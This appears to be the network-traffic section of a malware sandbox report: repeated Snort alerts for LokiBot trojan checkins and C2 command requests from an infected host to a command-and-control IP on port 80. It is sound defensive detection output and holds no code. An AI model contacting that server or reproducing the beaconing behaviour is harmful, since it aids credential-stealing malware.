Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49883 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49883 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49883 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49883 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49884 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49884 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49884 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49884 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49885 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49885 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49885 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49885 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49886 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49886 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49886 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49886 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49887 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49887 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49887 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49887 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49888 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49888 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49888 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49888 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49889 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49889 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49889 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49889 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49890 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49890 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49890 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49890 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49891 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49891 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49891 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49891 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49892 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49892 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49892 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49892 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49893 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49893 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49893 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49893 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49894 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49894 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49894 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49894 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49895 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49895 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49895 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49895 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49896 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49896 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49896 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49896 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49897 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49897 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49897 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49897 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49898 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49898 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49898 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49898 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49899 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49899 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49899 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49899 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49900 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49900 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49900 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49900 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49901 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49901 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49901 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49901 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49902 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49902 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49902 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49902 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49903 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49903 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49903 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49903 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49904 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49904 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49904 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49904 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49905 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49905 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49905 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49905 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49906 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49906 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49906 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49906 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49907 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49907 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49907 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49907 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49908 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49908 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49908 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49908 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49909 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49909 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49909 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49909 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49911 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49911 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49911 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49911 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49912 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49912 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49912 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49912 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49913 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49913 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49913 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49913 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49914 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49914 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49914 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49914 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49915 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49915 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49915 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49915 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49916 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49916 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49916 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49916 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49917 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49917 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49917 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49917 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49918 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49918 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49918 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49918 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49919 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49919 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49919 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49919 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49920 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49920 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49920 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49920 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49921 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49921 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49921 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49921 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49922 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49922 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49922 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49922 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49923 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49923 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49923 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49923 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49924 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49924 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49924 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49924 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49925 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49925 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49925 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49925 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49926 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49926 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49926 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49926 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49927 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49927 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49927 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49927 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49928 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49928 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49928 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49928 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49929 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49929 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49929 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49929 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49930 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49930 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49930 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49930 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49931 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49931 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49931 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49931 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49932 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49932 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49932 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49932 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49933 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49933 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49933 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49933 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49934 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49934 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49934 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49934 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49935 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49935 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49935 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49935 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49936 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49936 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49936 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49936 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49937 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49937 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49937 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49937 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49938 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49938 -> 176.223.209.128:80
